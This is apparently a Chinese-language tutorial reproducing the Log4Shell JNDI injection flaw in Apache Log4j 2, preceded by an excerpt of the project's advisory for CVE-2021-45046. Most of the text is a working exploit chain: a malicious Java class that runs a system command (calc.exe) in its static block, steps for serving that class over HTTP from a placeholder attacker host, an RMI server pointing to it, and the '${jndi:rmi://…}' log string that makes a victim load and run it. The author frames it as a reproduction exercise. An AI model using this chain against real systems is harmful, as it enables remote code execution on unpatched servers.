Stringsource="${jndi:rmi://黑客IP:1099/test}";
logger.error(source);

Apache Log4j 2 Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.   Important: Security Vulnerability CVE-2021-45046 The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up.  Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.  Details It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.  Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

//step1:在黑客機新建HackerObj.java 

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:12
 */
public class HackerObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null) {
            sb += lineStr + "\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name,
         Context context, HashMap<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            System.out.println("黑客程序在此機器被執行了。");
            exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

//step2:在黑客機把HackerObj.java編譯成HackerObj.class，然后開個nginx把HackerObj.class放進去讓它可以在網絡上訪問，如: http://黑客ip:8080/HackerObj.class

p.s. HackerObj.java創造時不要放在package里，放package里好像被用戶下載會提示notfindclass，有空再研究一下。

//step3: 創建個Server.java啟動黑客rmi服務

package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * @Author: hanko
 * @Date: 2021-12-16 9:18
 */
public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://黑客ip:8080/HackerObj.class
        String url = "http://黑客ip:8080/"; 
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("HackerObj", "HackerObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("test", referenceWrapper);
    }
}


//stpe4:在用戶機新建Client.java，

package com.jndi;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:27
 */
public class Client {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:rmi://黑客ip:1099/test}");
    }
}


// 在用戶機執行Client.java會發現“黑客程序在此機器被執行了。”
//在用戶機器打印出來了，同時用戶機器計算器工具也被打開了


//step5: log4j2  復現就是用以下代碼
 logger.info("${java:vm}");
 logger.error("${jndi:rmi://黑客ip:1099/test}");